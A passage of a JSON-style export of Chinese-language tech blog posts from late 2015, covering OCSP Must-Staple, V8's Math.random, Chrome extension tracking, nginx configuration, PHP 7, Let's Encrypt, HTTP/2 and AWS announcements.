OCSP 要過)，於是反而給了攻擊者一個很簡單的方法：取得 private key 攻擊時順便擋掉對 OCSP server 的連線。\r\n\r\n後來 OCSP 技術改善而推出 <a href=\"https://en.wikipedia.org/wiki/OCSP_stapling\">OCSP stapling</a>，由 server 定時去 OCSP server 取得「這個 SSL certificate 未被 revoke」的簽名認證後，一起在 TLS connection 裡傳輸給 client 端，這樣有許多好處：\r\n\r\n<ul>\r\n\t<li>隱私問題直接解決了，因為 server 是固定時間去抓，OCSP server 完全不知道使用者端的資訊 (甚至連「有沒有來連線」都不知道)。</li>\r\n\t<li>穩定性提昇了，因為 OCSP server 的負荷量變低，可以預期 OCSP server 會變得比較容易 scale。</li>\r\n\t<li>用戶端的速度增加了，因為 client 不需要額外的連線確認。</li>\r\n</ul>\r\n\r\n而這次 Firefox 更進一步支援讓 SSL certificate 上標注 OCSP Must-Staple，表示這個 certificate 必須有 OCSP stapling 才行，這使得這類 SSL certificate 在 revoke 後無法被利用，真正的完全失效。\r\n\r\n不知道其他家會不會跟進...",
    "title": "Firefox 支援 OCSP Must-Staple"
  },
  {
    "id": "6159",
    "body": "在「<a href=\"https://medium.com/@betable/tifu-by-using-math-random-f1c308c4fd9d#.2xkcwkksc\">TIFU by using Math.random()</a>」這篇看到作者踩到地雷，於是在討論 <a href=\"https://en.wikipedia.org/wiki/V8_(JavaScript_engine)\">V8 Engine</a> 的 <code>Math.random()</code> 的亂度不足。\r\n\r\n其實這個問提早在 2012 年就有人在 <a href=\"https://stackoverflow.com/\">StackOverflow</a> 上詢問：「<a href=\"https://stackoverflow.com/questions/9550796/why-is-google-chromes-math-random-number-generator-not-that-random\">Why is Google Chrome's Math.random number generator not *that* random?</a>」，而且也回答得很清楚。\r\n\r\n而 Mozilla 這邊在 2006 年也被提出了類似的問題：「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=322529\">Bug 322529 - Upgrade Math.random() to a better algorithm, such as Mersenne Twister</a>」。\r\n\r\n文章中間花了許多篇幅講 <a href=\"https://en.wikipedia.org/wiki/Pseudorandom_number_generator\">PRNG</a> 的介紹，以及 cycle length 的說明，重點其實在結論的部份。\r\n\r\n主要是因為 V8 Engine 的 <code>Math.random()</code> 實作的是 MWC1616 演算法 (<a href=\"http://arxiv.org/abs/physics/0609211\">Fast random number generation using 128 bit multimedia extension registers on Pentium class machines</a>)，而這個演算法用起來也綁手綁腳：\r\n\r\n<blockquote>If you’re only using the most significant 16 bits it has a very short effective cycle length (less than 2³⁰).</blockquote>\r\n\r\n有兩個方向可以改善 (不衝突的方向)，一個是使用 <a href=\"https://en.wikipedia.org/wiki/Cryptographically_secure_pseudorandom_number_generator\">CSPRNG</a> (保證有極長的 cycle length)，另外一個請求 V8 Engine 把 <code>Math.random()</code> 的演算法換掉，像是 <a href=\"https://en.wikipedia.org/wiki/Mersenne_Twister\">MT19937</a> 這類 cycle length 超級長的演算法。\r\n\r\n不知道後續有沒有機會改善...",
    "title": "V8 的 Math.random() 亂度不足的問題"
  },
  {
    "id": "6160",
    "body": "在「<a href=\"http://labs.detectify.com/post/133528218381/chrome-extensions-aka-total-absence-of-privacy\">Chrome Extensions – AKA Total Absence of Privacy</a>」這邊討論了 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 官方的 <a href=\"https://chrome.google.com/webstore/category/apps\">Web Store</a> 上有很多應用程式為了賺錢在追蹤個人行為：\r\n\r\n<blockquote>We’ve seen some indications on Chrome Extension-forums that it’s around $0.04 per user/month.</blockquote>\r\n\r\n而且因為是 extension，可以直接穿越 <a href=\"https://www.ghostery.com/\">Ghostery</a> 之類的防護網，於是就變得無法 opt-out。你可以利用「<a href=\"https://www.google.com/search?q=site:chrome.google.com+%22In+order+to+continuously+improve+and+maintain+this+software+we+work+with%22\">In order to continuously improve and maintain this software we work with</a>」這樣的字串去找，會以發現有不少 extension 用了 <a href=\"https://www.fairsharelabs.com/\">Fairshare</a> 的方案來賺錢。\r\n\r\n文章作者呼籲 Google 要提出方案來制止這類行為，不過我覺得 Google 應該是不會做...",
    "title": "Google Chrome 上有大量 Extension 在追蹤個人行為"
  },
  {
    "id": "6161",
    "body": "Debug 模式會比一般的模式來的慢，但可以看到更多資訊。以往的問題是 5xx 難以重製，而 <a href=\"https://www.nginx.com/\">NGINX</a> 的「<a href=\"https://www.nginx.com/blog/capturing-5xx-errors-debug-server/\">Capturing 5xx Errors with a Debug Server</a>」這篇文章介紹了如何用 <a href=\"http://nginx.org/\">nginx</a> 實作標題的功能。\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmZHCixLJkUVziijcn8Tp5cjQd72Ginc4a78KyXB5bxDRD\" alt=\"\" />\r\n\r\n如果是隨機造成的問題就沒辦法重製，但如果是 client 的狀態造成的問題，就很有可能可以抓出來... 不是解決所有問題，但可以幫助解掉以前不太好解的狀況。",
    "title": "讓 nginx 看到 5xx 回應時，去另外一台有開 debug-mode 的 server 上再跑一次"
  },
  {
    "id": "6162",
    "body": "在「<a href=\"https://imququ.com/post/domain-public-suffix-list.html\">域名小知识：Public Suffix List</a>」這邊看到由 Mozilla 維護的 <a href=\"https://publicsuffix.org/\">Public Suffix List</a>，記錄了哪些 suffix 屬於 top-level：\r\n\r\n<ul>\r\n\t<li>Avoid privacy-damaging \"supercookies\" being set for high-level domain name suffixes</li>\r\n\t<li>Highlight the most important part of a domain name in the user interface</li>\r\n\t<li>Accurately sort history entries by site</li>\r\n</ul>\r\n\r\n所以 supercookie 阻擋機制是從這邊來的...",
    "title": "Mozilla 維護的 Public Suffix List"
  },
  {
    "id": "6163",
    "body": "<a href=\"https://www.raspberrypi.org/\">Raspberry Pi</a> 出了新的系列，只要 USD$5 的 <a href=\"https://www.raspberrypi.org/products/pi-zero/\">Raspberry Pi Zero</a>：「<a href=\"https://www.raspberrypi.org/blog/raspberry-pi-zero/\">Raspberry Pi Zero: the $5 computer - Raspberry Pi</a>」。\r\n\r\n機器更小了，不過要注意的是沒有網路介面。看起來比較像是接機器人之類的？先用 USB 裝一裝，裝好後就都不需要了...\r\n\r\n<ul>\r\n\t<li>A Broadcom BCM2835 application processor<ul><li>1GHz ARM11 core (40% faster than Raspberry Pi 1)</li></ul></li>\r\n\t<li>512MB of LPDDR2 SDRAM</li>\r\n\t<li>A micro-SD card slot</li>\r\n\t<li>A mini-HDMI socket for 1080p60 video output</li>\r\n\t<li>Micro-USB sockets for data and power</li>\r\n\t<li>An unpopulated 40-pin GPIO header<ul><li>Identical pinout to Model A+/B+/2B</li></ul></li>\r\n\t<li>An unpopulated composite video header</li>\r\n\t<li>Our smallest ever form factor, at 65mm x 30mm x 5mm</li>\r\n</ul>",
    "title": "Raspberry Pi Zero"
  },
  {
    "id": "6164",
    "body": "在「<a href=\"https://ldpreload.com/blog/names-to-reserve\">Hostnames and usernames to reserve</a>」這邊提到公開服務時的保留名稱問題。\r\n\r\n首先是提到 hostname 的部分，被各協定使用到的都散落在各標準裡，另外就是利用前幾天提到的「<a href=\"https://blog.gslin.org/archives/2015/11/28/6162/mozilla-%E7%B6%AD%E8%AD%B7%E7%9A%84-public-suffix-list/\">Mozilla 維護的 Public Suffix List</a>」加減擋 cookie...\r\n\r\n比較感興趣的是 email 的部分的標準，這邊主要在討論 SSL certificate 的註冊。在「<a href=\"https://cabforum.org/wp-content/uploads/Baseline_Requirements_V1_3_1.pdf\">Baseline_Requirements_V1_3_1</a>」的 3.2.2.4. Authorization by Domain Name Registrant 的第四項提到：\r\n\r\n<blockquote>Communicating with the Domain’s administrator using an email address created by pre‐pending ‘admin’, ‘administrator’, ‘webmaster’, ‘hostmaster’, or ‘postmaster’ in the local part, followed by the at‐sign (“@”), followed by the Domain Name, which may be formed by pruning zero or more components from the requested FQDN;</blockquote>\r\n\r\n也就是指出只能用上面提到的這幾個 mail address 來認證。不過為了安全起見，<a href=\"https://tools.ietf.org/html/rfc2142\">RFC 2412</a> 定義的也應該擋下來。這兩組標準列出來的 username 都算是合理，沒什麼問題。\r\n\r\n最後則是討論 path part，這點倒是有不少地雷可以看看，尤其是最新的 <a href=\"https://en.wikipedia.org/wiki/Automated_Certificate_Management_Environment\">ACME</a> 產生的問題 XDDD",
    "title": "Hostname 與 Username 的保留名稱問題"
  },
  {
    "id": "6165",
    "body": "在「<a href=\"http://www.supertcp.com/enabling-tcp-fast-open-nginx-centos-7/\">Enabling TCP Fast Open for NGINX on CentOS 7</a>」這邊看到 <a href=\"http://nginx.org/\">nginx</a> 對 <a href=\"https://en.wikipedia.org/wiki/TCP_Fast_Open\">TCP Fast Open</a> (TFO，<a href=\"https://tools.ietf.org/html/rfc7413\">RFC 7413</a>) 的支援早在 1.5.8 就有了，而 <a href=\"https://www.kernel.org/\">Linux Kernel</a> 也是 3.7 之後就全面支援了。\r\n\r\nTCP Fast Open 利用第一次連線後產生的 TCP cookie，在第二次連線時可以在 3-way handshake 的過程就開始傳輸，藉此大幅降低 latency。\r\n\r\n設定方法不難，先在 kernel 設定 <code>net.ipv4.tcp_fastopen=3</code>，再加上 <code>fastopen=number</code> 就可以了，像是這樣：\r\n\r\n<pre>listen 80 fastopen=256</pre>\r\n\r\n不過目前 <a href=\"https://launchpad.net/~nginx/+archive/ubuntu/development\">NGINX Mainline</a> 上的版本好像沒有編進去，暫時沒辦法測...",
    "title": "nginx 的 TCP Fast Open"
  },
  {
    "id": "6166",
    "body": "在「<a href=\"http://blog.nobugware.com/post/2015/listening_to_satellites_for_30_dollars/\">Listening to satellites for 30 dollars</a>」這篇文章介紹了如何接受氣象衛星的訊號，並且轉成圖片...\r\n\r\n關鍵的兩個軟體，一個是作者是先用 <a href=\"http://gqrx.dk/\">GQRX</a> 收下來，然後用 <a href=\"http://www.wxtoimg.com/\">WXtoImg</a> 轉成圖片，這是作者抓下來的成果：(<a href=\"https://en.wikipedia.org/wiki/NOAA-15\">NOAA-15</a> 的資訊)\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmdaPdFXpJBSKYbSzWZD3KNH9cRJjgnvxsPYTNvLSF5pFV\" alt=\"\" />\r\n\r\n如果在刻一些程式儘量全自動化，用 <a href=\"https://www.raspberrypi.org/\">Raspberry Pi</a> 丟到陽台收訊號轉換，好像是個不錯的方法？不知道衛星每天丟出來的量有多少...",
    "title": "接收氣象衛星訊號"
  },
  {
    "id": "6168",
    "body": "在「<a href=\"http://www.osnews.com/story/28980/Google_ends_32-bit_Linux_support_for_Chrome\">Google ends 32-bit Linux support for Chrome</a>」這邊看到新聞，引用自「<a href=\"https://groups.google.com/a/chromium.org/forum/#!topic/chromium-dev/FoE6sL-p6oU\">Updates to Google Chrome Linux support</a>」這邊的消息：\r\n\r\n<blockquote>To provide the best experience for the most-used Linux versions, we will end support for Google Chrome on 32-bit Linux, Ubuntu Precise (12.04), and Debian 7 (wheezy) in early March, 2016.  Chrome will continue to function on these platforms but will no longer receive updates and security fixes.\r\n\r\nWe intend to continue supporting the 32-bit build configurations on Linux to support building Chromium. If you are using Precise, we’d recommend that you to upgrade to Trusty.</blockquote>\r\n\r\n既然還是會支援 32bits 的情況 (透過 <a href=\"https://www.chromium.org/\">Chromium</a>)，到時候應該會有 <a href=\"https://launchpad.net/ubuntu/+ppas\">PPA</a> 出來頂著讓大家用？",
    "title": "Google Chrome 將在明年三月停止 32bits Linux 版本支援"
  },
  {
    "id": "6169",
    "body": "有人發現他的 <a href=\"https://mail.google.com/\">Gmail</a> 進入了 Debug Mode：「<a href=\"https://medium.com/@zg/someone-left-my-gmail-in-debug-mode-8aa1b1c46172\">Someone left my Gmail in debug mode</a>」。\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmUiXMTProJ7eMuzpVsQ9hp3kamnw7JJcpDKRN21JGN1FN\" alt=\"\" />\r\n\r\n原文可以看到很多截圖，看起來像是 debug console 給內部找問題用的東西？",
    "title": "Gmail 的除錯模式"
  },
  {
    "id": "6170",
    "body": "<a href=\"https://www.whatsapp.com/\">WhatsApp</a> (2014 年被 <a href=\"https://www.facebook.com/\">Facebook</a> 買下) 過濾 <a href=\"https://telegram.org/\">Telegram</a> 連結的消息在國外引發討論了：「<a href=\"https://orat.io/blog/as-of-today-whatsapp-is-blocking-telegram-links/\">As of today, WhatsApp is blocking Telegram links</a>」。這讓<a href=\"https://zh.wikipedia.org/\">維基百科</a>裡「<a href=\"https://zh.wikipedia.org/wiki/WhatsApp\">WhatsApp</a>」這段說明看起來特別的奇特：\r\n\r\n<blockquote>WhatsApp宗旨是給予人們一個不被竊聽的溝通橋樑，並從不存取用戶個人資料，像是姓名、性別、年齡或者聊天紀錄，這和烏克蘭裔的創辦人庫姆在有秘密警察的共產國家成長有關，他孩童時期的經歷讓他懂得通訊沒有被監聽的珍貴。</blockquote>\r\n\r\n作者在 app 上測了幾個連結：\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2015/12/Whatsapp-blocks-Telegram-copy-yes.jpg\"><img src=\"https://blog.gslin.org/wp-content/uploads/2015/12/Whatsapp-blocks-Telegram-copy-yes.jpg\" alt=\"Whatsapp-blocks-Telegram-copy-yes\" width=\"720\" height=\"1280\" class=\"alignnone size-full wp-image-6171\" /></a>\r\n\r\n這張圖可以看出來 <code>telegram.org</code> 的連結無法點擊。弄了老半天後，發現程式直接針對 Telegram 相關的網域擋掉了：\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2015/12/nexus2cee_Screen-Shot-2015-12-01-at-10.11.09-2.png\"><img src=\"https://blog.gslin.org/wp-content/uploads/2015/12/nexus2cee_Screen-Shot-2015-12-01-at-10.11.09-2.png\" alt=\"nexus2cee_Screen-Shot-2015-12-01-at-10.11.09-2\" width=\"668\" height=\"400\" class=\"alignnone size-full wp-image-6172\" /></a>\r\n\r\n拉張板凳來看看後續會變成什麼樣子...",
    "title": "WhatsApp 過濾關於出現「Telegram」的連結"
  },
  {
    "id": "6173",
    "body": "<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 推出了 <a href=\"https://http2.github.io/\">HTTP/2</a> 服務，與其他 CDN 業者不一樣的地方在於，他可以同時接受 HTTP/2 與 <a href=\"https://www.chromium.org/spdy\">SPDY</a>：「<a href=\"https://blog.cloudflare.com/introducing-http2/\">HTTP/2 is here! Goodbye SPDY? Not quite yet</a>」。\r\n\r\nCloudFlare 拿自家的 <code>www.cloudflare.com</code> 官網測試，顯示 HTTP/2 的效能比 SPDY 又好了不少：\r\n\r\n<table>\r\n\t<tr><th>Access via HTTP Protocol Version</th><th>Average Page Load time</th></tr>\r\n\t<tr><td>HTTP 1.x</td><td>9.07 sec.</td></tr>\r\n\t<tr><td>SPDY/3.1</td><td>7.06 sec.</td></tr>\r\n\t<tr><td>HTTP/2</td><td>4.27 sec.</td></tr>\r\n</table>\r\n\r\n在正式上 HTTP/2 前，有 80.38% 對 <code>www.cloudflare.com</code> 的 SSL/TLS 連線是 SPDY：\r\n\r\n<blockquote>During the week before our HTTP/2 launch, 80.38% of all SSL/TLS connections to our own website at www.cloudflare.com were made over SPDY/3.1.</blockquote>\r\n\r\n上線後其實沒有想像中的高：\r\n\r\n<table>\r\n\t<tr><th>Protocol Version</th><th>Percentage of Hits</th></tr>\r\n\t<tr><td>HTTP 1.x</td><td>19.36%</td></tr>\r\n\t<tr><td>SPDY/3.1</td><td>57.02%</td></tr>\r\n\t<tr><td>HTTP/2</td><td>23.62%</td></tr>\r\n</table>\r\n\r\n這也說明了為什麼 CloudFlare 要推出 SPDY + HTTP/2 的服務：\r\n\r\n<blockquote>Why choose, if you can have both? Today CloudFlare is introducing HTTP/2 support for all customers using SSL/TLS connections, while still supporting SPDY. There is no need to make a decision between SPDY or HTTP/2. Both are automatically there for you and your customers.</blockquote>\r\n\r\n剛剛連到後台確認，由於本來已經打開 SPDY 的使用者會自動開啟 HTTP/2，這表示全球 HTTP/2 的使用率會馬上拉高很多，有太多資源掛在 CloudFlare 上：(像是 <a href=\"https://cdnjs.com\">cdnjs.com</a>，剛剛確認也已經是 HTTP/2 了)\r\n\r\n<blockquote>If you are a customer on the Free or Pro plan, there is no need to do anything at all. Both SPDY and HTTP/2 are already enabled for you.</blockquote>\r\n\r\n<blockquote>Customers on Business and Enterprise plans can enable HTTP/2 within the \"Network\" application of the CloudFlare Dashboard.</blockquote>\r\n",
    "title": "CloudFlare 正式推出 HTTP/2，可以與 SPDY 同時混搭"
  },
  {
    "id": "6175",
    "body": "<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 進入 Public Beta，這代表不再需要提出申請才能用了：「<a href=\"https://letsencrypt.org/2015/12/03/entering-public-beta.html\">Entering Public Beta</a>」。\r\n\r\n<blockquote>We’re happy to announce that Let’s Encrypt has entered Public Beta. Invitations are no longer needed in order to get free certificates from Let’s Encrypt.</blockquote>\r\n\r\n話說翻資料的時候翻到 <a href=\"https://www.namecheap.com/\">Namecheap</a> 對 Let's Encrypt 作出反擊，只能說吃樣很難看：「<a href=\"https://blog.namecheap.com/ssl-from-namecheap-whats-the-difference/\">SSL from Namecheap - What's the difference: Encryption, Validation &amp; Trust</a>」。\r\n\r\n人們選擇 Namecheap 的 SSL certificate 不是因為他好，而是因為他便宜，加上這家公司不像 <a href=\"https://www.godaddy.com/\">GoDaddy</a> 那樣邪惡。\r\n\r\n現在有免費的 SSL certificate 出來競爭 (於是根本打不贏) 就放 <a href=\"https://en.wikipedia.org/wiki/Fear,_uncertainty_and_doubt\">FUD</a> 攻擊，吃相極為難看。有人針對 Namecheap 的文章駁斥了裡面大量錯誤的論點：「<a href=\"http://blog.kelunik.com/2015/11/22/namecheap-ssl.html\">Comment on Namecheap's SSL</a>」。\r\n\r\n接下來應該可以弄不少來玩，來整理文章把申請與自動 renew 的步驟做出來...",
    "title": "Let's Encrypt 進入 Public Beta 開放給大眾使用"
  },
  {
    "id": "6176",
    "body": "<a href=\"https://imququ.com/\">Jerry Qu</a> 寫的「<a href=\"https://imququ.com/post/sth-about-switch-to-https.html\">关于启用 HTTPS 的一些经验分享</a>」這篇文章講了要怎麼將 HTTP 站台逐步換成 HTTPS 站台的方式 (以及工具)。\r\n\r\n一開始會遇到 Mixed Content，瀏覽器預設值不會直接全部擋掉，而是會放行圖片類資源 (但是出現對應的警告)。然後可以用 <a href=\"http://www.w3.org/TR/upgrade-insecure-requests/\">upgrade-insecure-requests</a> 來幫助邊換，讓 url 裡指定 http 的自動連到 https。\r\n\r\n當全站把 url 都修完後，接著就可以考慮用 <a href=\"https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security\">HSTS</a> 強制全上 HTTPS。\r\n\r\n做到這邊的安全性已經到一定程度了，接下來要不要進 <a href=\"https://hstspreload.appspot.com/\">HSTS Preload List</a> 就看大家自己的想法了。",
    "title": "把 HTTP 站台逐步換向 HTTPS 站台的步驟"
  },
  {
    "id": "6177",
    "body": "從 <a href=\"http://www.richardbagshaw.co.uk/\">Richard Bagshaw</a> 這邊看到的介紹文章：\r\n\r\n<ul>\r\n\t<li><a href=\"http://www.richardbagshaw.co.uk/php-7-scalar-typehints/\">Part #1 - Scalar Typehints</a></li>\r\n\t<li><a href=\"http://www.richardbagshaw.co.uk/php-7-return-types/\">Part #2 - Return Types</a></li>\r\n\t<li><a href=\"http://www.richardbagshaw.co.uk/php-7-spaceships/\">Part #3 - Spaceships</a></li>\r\n\t<li><a href=\"http://www.richardbagshaw.co.uk/php-7-null-coalescing-operator/\">Part #4 - Null Coalescing Operator</a></li>\r\n</ul>\r\n\r\n每一篇都不長，前兩篇在講型別相關的事情，後面講新的 operator...",
    "title": "PHP 7 的新特性介紹"
  },
  {
    "id": "6178",
    "body": "除了在上一篇的「<a href=\"https://blog.gslin.org/archives/2015/12/04/6177/php-7-%E7%9A%84%E6%96%B0%E7%89%B9%E6%80%A7%E4%BB%8B%E7%B4%B9/\">PHP 7 的新特性介紹</a>」這邊提到了不少 <a href=\"https://secure.php.net/\">PHP</a> 7 的新特性外，在「<a href=\"http://blog.feryn.eu/php-7-is-now-available-new-features-improvements/\">PHP 7 is now available: new features &amp; improvements</a>」與「<a href=\"http://www.colinodell.com/blog/2015-12/five-lesser-known-features-of-php-7\">Five Lesser-Known Features of PHP 7</a>」這兩篇也介紹了不少其他的特性。(這陣子應該會有不少文章出來)\r\n\r\n挑個比較有趣的幾個來講，亮是看到 Anonymous classes 的出現，可以這樣用：\r\n\r\n<pre>$foo = new class {\r\n    public function foo() {\r\n        return \"bar\";\r\n    }\r\n};</pre>\r\n\r\n有種 Interface 的存在感會愈來愈低的感覺...",
    "title": "更多關於 PHP 7 新功能的介紹..."
  },
  {
    "id": "6179",
    "body": "<a href=\"http://www.logicmonitor.com/\">LogicMonitor</a> 的人比較了 PCIe SSD 與 SATA SSD，他們在意的重點是 read/write latency 非單純的 throughput：「<a href=\"http://www.logicmonitor.com/blog/2015/12/01/device-utilization-of-pcie-and-sata-ssds/\">Device Utilization of PCIe and SATA SSDs</a>」。\r\n\r\n文章裡講得很長，把他們找原因的過程寫出來，從 latency 的影響改變到 queue service 的變化：\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmNkKJoUDkZfQfVi1m5XRD9JjyJHTadAyRmyqqSS456Mn7\" alt=\"\" />\r\n\r\n後來換成 PCIe SSD 後 write latency 從 1.8ms 掉到 0.02ms 左右，大約是兩個零的差距。\r\n\r\n另外文章裡也提到了 <a href=\"https://github.com/axboe/fio\">fio</a> 這個測試工具，找時間來測試看看，熟悉一下...",
    "title": "PCIe 的 SSD 與 SATA 的比較"
  },
  {
    "id": "6180",
    "body": "<a href=\"https://www.google.com/\">Google</a> 推出分析圖片的服務 <a href=\"https://cloud.google.com/vision/\">Google Cloud Vision API</a>：「<a href=\"http://googlecloudplatform.blogspot.com/2015/12/Google-Cloud-Vision-API-changes-the-way-applications-understand-images.html\">Google Cloud Vision API changes the way applications understand images</a>」。\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2015/12/Cloud-Vision-API-3.png\"><img src=\"https://blog.gslin.org/wp-content/uploads/2015/12/Cloud-Vision-API-3.png\" alt=\"Cloud Vision API 3\" width=\"375\" height=\"400\" class=\"alignnone size-full wp-image-6181\" /></a>\r\n\r\n分析圖片後給 tag 以及對應的分數，馬上就想到好多應用可以玩...\r\n\r\n目前測試期不收費，之後會公佈：\r\n\r\n<blockquote>There is no cost for usage of the service during the Limited Preview phase. We will introduce pricing in future phases.</blockquote>",
    "title": "Google Cloud Vision API"
  },
  {
    "id": "6182",
    "body": "<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 整理了一篇「<a href=\"https://blog.cloudflare.com/tools-for-debugging-testing-and-using-http-2/\">Tools for debugging, testing and using HTTP/2</a>」，說明有哪些測試工具可以用...\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2015/12/Screen-Shot-2015-12-04-at-10-46-21.png\"><img src=\"https://blog.gslin.org/wp-content/uploads/2015/12/Screen-Shot-2015-12-04-at-10-46-21.png\" alt=\"Screen-Shot-2015-12-04-at-10-46-21\" width=\"2682\" height=\"1511\" class=\"alignnone size-full wp-image-6183\" /></a>\r\n\r\n從最簡單的「<a href=\"https://chrome.google.com/webstore/detail/http2-and-spdy-indicator/mpbpobfflnpcgagjijhmgnchggcjblin?hl=en\">HTTP/2 and SPDY indicator</a>」(<a href=\"https://www.google.com/chrome\">Google Chrome</a>) 或是「<a href=\"https://addons.mozilla.org/en-US/firefox/addon/spdy-indicator/\">HTTP/2 and SPDY indicator</a>」(<a href=\"https://www.mozilla.org/firefox\">Firefox</a>)，到後面各式各樣的工具都有列出來。甚至還包括 command line 與 packet snooping 類的工具都有...",
    "title": "HTTP/2 測試工具"
  },
  {
    "id": "6184",
    "body": "可以看 <a href=\"https://www.reddit.com/\">Reddit</a> 上的「<a href=\"https://www.reddit.com/r/chrome/comments/3v2uu8/disablenewavatarmenu_no_longer_working_for_chrome/\">--disable-new-avatar-menu no longer working for chrome 47?：chrome</a>」這個： \r\n\r\n<blockquote>I had to reinstall chrome today and it just happens that they pushed out v47 today. I can't seem to get the workaround to work anymore</blockquote>\r\n\r\n對應的 bug report 是「<a href=\"https://code.google.com/p/chromium/issues/detail?id=499205\">Add an option to hide the new avatar menu in settings</a>」，七月的時候直接被標成 wontfix，但當時還有 <code>--disable-new-avatar-menu</code> 的選項讓人可以硬拔掉。\r\n\r\n十月的時候在「<a href=\"https://chromium.googlesource.com/chromium/src.git/+/66aa95ddaf6ddf1f731fee87f25148051d770bfa\">Remove references to IsNewAvatarMenu since the flag was removed.</a>」這邊全部拔掉，直接強姦放上去... 被列到的 <a href=\"https://code.google.com/p/chromium/issues/detail?id=517582\">BUG=517582</a> 則被標成 secret 無法觀看。",
    "title": "Google Chrome 右上角超醜的 Profile Button 關不掉了..."
  },
  {
    "id": "6185",
    "body": "<a href=\"https://weechat.org/\">WeeChat</a> 上的 <a href=\"https://weechat.org/scripts/source/buffers.pl.html/\">buffers.pl</a> 是個很好用的套件，可以在側邊列出 channel，像是這樣：\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2015/12/weechat_bar_buffers_2008-09-02.png\" rel=\"attachment wp-att-6186\"><img src=\"https://blog.gslin.org/wp-content/uploads/2015/12/weechat_bar_buffers_2008-09-02.png\" alt=\"weechat_bar_buffers_2008-09-02\" width=\"766\" height=\"483\" class=\"alignnone size-full wp-image-6186\" /></a>\r\n\r\n其中一個特點是，左側的 channel list 會自動伸展到目前最長的 channel name。由於我用 WeeChat 連 <a href=\"https://slack.com/\">Slack</a> 提供的 IRC Gateway，加上最近提供多人交談的功能，就產生出這樣的 channel name：\r\n\r\n<pre>#mpdm-gslin--persona--personb--personc--persond--persone----1</pre>\r\n\r\n解法是限制側邊的寬度，用 <code>/set buffers.look.name_size_max 32</code> 後再 <code>/save</code> 存起來就可以了。是在「<a href=\"https://github.com/weechat/scripts/issues/12\">[buffers.pl] name_size_max adding crop suffix too soon in certain cases</a>」這邊找到的關鍵字。",
    "title": "限制 WeeChat 中 buffers.pl 的寬度"
  },
  {
    "id": "6187",
    "body": "<a href=\"https://www.mozilla.org/\">Mozilla</a> 在 <a href=\"https://www.apple.com/ios/\">iOS</a> 上也出了自己的 Content Blocker，叫做 <a href=\"https://itunes.apple.com/app/id1055677337\">Focus by Firefox</a>：「<a href=\"https://blog.mozilla.org/futurereleases/2015/12/08/announcing-focus-by-firefox-a-content-blocker-for-ios/\">Announcing Focus by Firefox, a Content Blocker for iOS</a>」：\r\n\r\n<blockquote>Today we’re pleased to announce the launch of Focus by Firefox, a free content blocker for Safari users on iOS 9 that gives users greater control of their mobile Web experience.</blockquote>\r\n\r\n沒搞懂 Mozilla 跑出來弄這個的目的...",
    "title": "Mozilla 在 iOS 上也出了自己的 Content Blocker"
  },
  {
    "id": "6188",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 把價錢資訊也 API 化了：「<a href=\"https://aws.amazon.com/blogs/aws/new-aws-price-list-api/\">New – AWS Price List API</a>」。\r\n\r\n除了可以透過 API 取得資訊外，還可以透過 <a href=\"https://aws.amazon.com/sns/\">Amazon SNS</a>，在價錢有變動時得到通知：\r\n\r\n<blockquote>You can also elect to receive notification via Amazon Simple Notification Service (SNS) each time we make a price change.</blockquote>\r\n\r\n讓 billing 的各種計算變方便。",
    "title": "AWS Price List API"
  },
  {
    "id": "6189",
    "body": "前幾天 <a href=\"https://aws.amazon.com/\">AWS</a> 放出來的新功能，可以針對 <a href=\"https://aws.amazon.com/autoscaling/\">Auto Scaling</a> 裡的機器設定保護 (避免關機)：「<a href=\"https://aws.amazon.com/blogs/aws/new-instance-protection-for-auto-scaling/\">New – Instance Protection for Auto Scaling</a>」。\r\n\r\n看提供的 pseudocode 可以了解想法，<code>ProcessWorkUnit(Work)</code> 是個需要跑比較長時間的 process，中斷掉的話會浪費掉 resource：\r\n\r\n<pre>while (true)\r\n{\r\n  SetInstanceProtection(False);\r\n  Work = GetNextWorkUnit();\r\n  SetInstanceProtection(True);\r\n  ProcessWorkUnit(Work);\r\n  SetInstanceProtection(False);\r\n}</pre>\r\n\r\n也就是這些機器還是會被 Auto Scaling 計算在內，但關機不會動這些機器。這段範例有種以前上課學 <a href=\"https://en.wikipedia.org/wiki/Mutual_exclusion\">mutex</a> 中 <a href=\"https://en.wikipedia.org/wiki/Critical_section\">critical section</a> 的感覺...",
    "title": "Auto Scaling 的 Instance Protection，有點像是 mutex..."
  },
  {
    "id": "6191",
    "body": "AWS 每個產品最近都丟出好多東西 (因為年底要到了嗎？)，這次是 <a href=\"https://aws.amazon.com/route53/\">Amazon Route53</a> 透過拖拉界面簡化 DNS 的設定：「<a href=\"https://aws.amazon.com/blogs/aws/new-route-53-traffic-flow/\">New – Route 53 Traffic Flow</a>」。\r\n\r\n可以從這幾張畫面看出來 Traffic Flow 的用法：\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2015/12/r53_create_endpoint_1.png\" rel=\"attachment wp-att-6192\"><img src=\"https://blog.gslin.org/wp-content/uploads/2015/12/r53_create_endpoint_1.png\" alt=\"r53_create_endpoint_1\" width=\"650\" height=\"448\" class=\"alignnone size-full wp-image-6192\" /></a>\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2015/12/r53_weighted_rule_1.png\" rel=\"attachment wp-att-6193\"><img src=\"https://blog.gslin.org/wp-content/uploads/2015/12/r53_weighted_rule_1.png\" alt=\"r53_weighted_rule_1\" width=\"881\" height=\"548\" class=\"alignnone size-full wp-image-6193\" /></a>\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2015/12/r53_failover_rule_1.png\" rel=\"attachment wp-att-6194\"><img src=\"https://blog.gslin.org/wp-content/uploads/2015/12/r53_failover_rule_1.png\" alt=\"r53_failover_rule_1\" width=\"901\" height=\"580\" 